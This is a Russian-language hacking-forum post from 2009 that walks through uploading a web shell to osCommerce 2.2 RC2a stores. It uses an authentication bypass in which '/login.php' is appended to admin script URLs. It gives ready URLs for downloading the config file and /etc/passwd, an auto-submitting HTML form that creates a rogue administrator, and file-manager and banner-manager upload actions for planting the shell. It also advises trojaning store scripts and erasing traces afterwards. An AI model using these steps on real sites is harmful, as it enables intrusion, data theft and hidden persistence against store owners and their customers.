Показать сообщение отдельно

Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.
  #4  
Старый 15.09.2009, 02:50
nikp
Reservists Of Antichat - Level 6
Регистрация: 19.09.2008
Сообщений: 127
С нами: 9285506

Репутация: 1463
По умолчанию Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.

Заливаем шелл для osCommerce Online Merchant v2.2 RC2a.

Для заливки пригодны два штатных инструмента
/admin/file_manager.php
/admin/banner_manager.php,
но доступ к ним разрешен только авторизованному админу.

Можно воспользоваться сплоитом http://www.milw0rm.com/exploits/9556 , который использует
следующую уязвимость: для доступа к скриптам в каталоге admin/ проверяется валидность
аминской сессии и если таковая не обнаружена идет перенаправление на admin/login.php
(см. admin/includes/application_top.php) но проверка if ($current_page != FILENAME_LOGIN),
если обнаружит, что url ссылается на login.php, редиррект не производит и тело скрипта выполняется.

Достаточно модифицировать урл

/admin/file_manager.php - /admin/file_manager.php/login.php
/admin/banner_manager.php - /admin/banner_manager.php/login.php
/admin/administrators.php - /admin/administrators.php/login.php

и скрипт выполнится для неавторизованного пользователя.

При заливке приходится учитывать, что часть сайтов отказывается выполнить залитый шелл,
если на него установлены права на запись, к примеру c правами chmod 777 shell.php не запускается,
а с правами chmod 755 shell.php срабатывает.


Атаку можно провести следующим образом:

1 - (не обязательно) проверяем доступность и работоспособность file_manager.php
http://target.com/admin/file_manager.php/login.php?action=download&filename=includes/configure.php
или просто
http://target.com/admin/file_manager.php/login.php
работают конструкции типа
http://target.com/file_manager.php?action=download&filename=../../../../../../../../etc/passwd

2 - (не обязательно, но удобнее) добавляем нового админа
можно использовать, как предложил Uwater (из поста выше).

Код HTML:
	<form method="post" action="http://target.com/admin/administrators.php/login.php?action=insert">
	<input type=hidden name="username" value="as" />
	<input type=hidden name="password" value="123123" />
	<input type=hidden name="x" value="16" />
	<input type=hidden name="y" value="13" />
	</form>
	<script>document.getElementsByTagName("form")[0].submit();</script>
3 - льем шелл из админки, Administration/Tools/File Manager
Administration/Tools/Banner Manager

а если она не доступна (иногда administrtors.php удален) гуляем вместе с
/admin/file_manager.php, модифицируя ссылки file_manager.php? на file_manager.php/login.php?

Для заливки есть три команды
action=new_file - чаще всего попадаем в нужные права chmod
action=upload - удобно,но часто дает права на запись и шелл не запускается
action=edit - когда не срабатывают первае два, просто трояним скрипт магазина
(например для исправления chmod загруженного шелла)

примеры
http://target.com/admin/file_manager.php/login.php?action=new_file
алтернативно
http://target.com/admin/file_manager.php/login.php?action=upload
алтернативно
http://target.com/admin/banner_manager.php/login.php?action=new

Для кнопок, отправляющих данные из формы приходится аналогично править исходный код страницы.

file_manager.php (если мы не меняли каталог) льет шелл в корень магазина.
banner_manager.php в images.

4 - чистим за собой (админа, баннеры, скрипты магазина)
 
Ответить с цитированием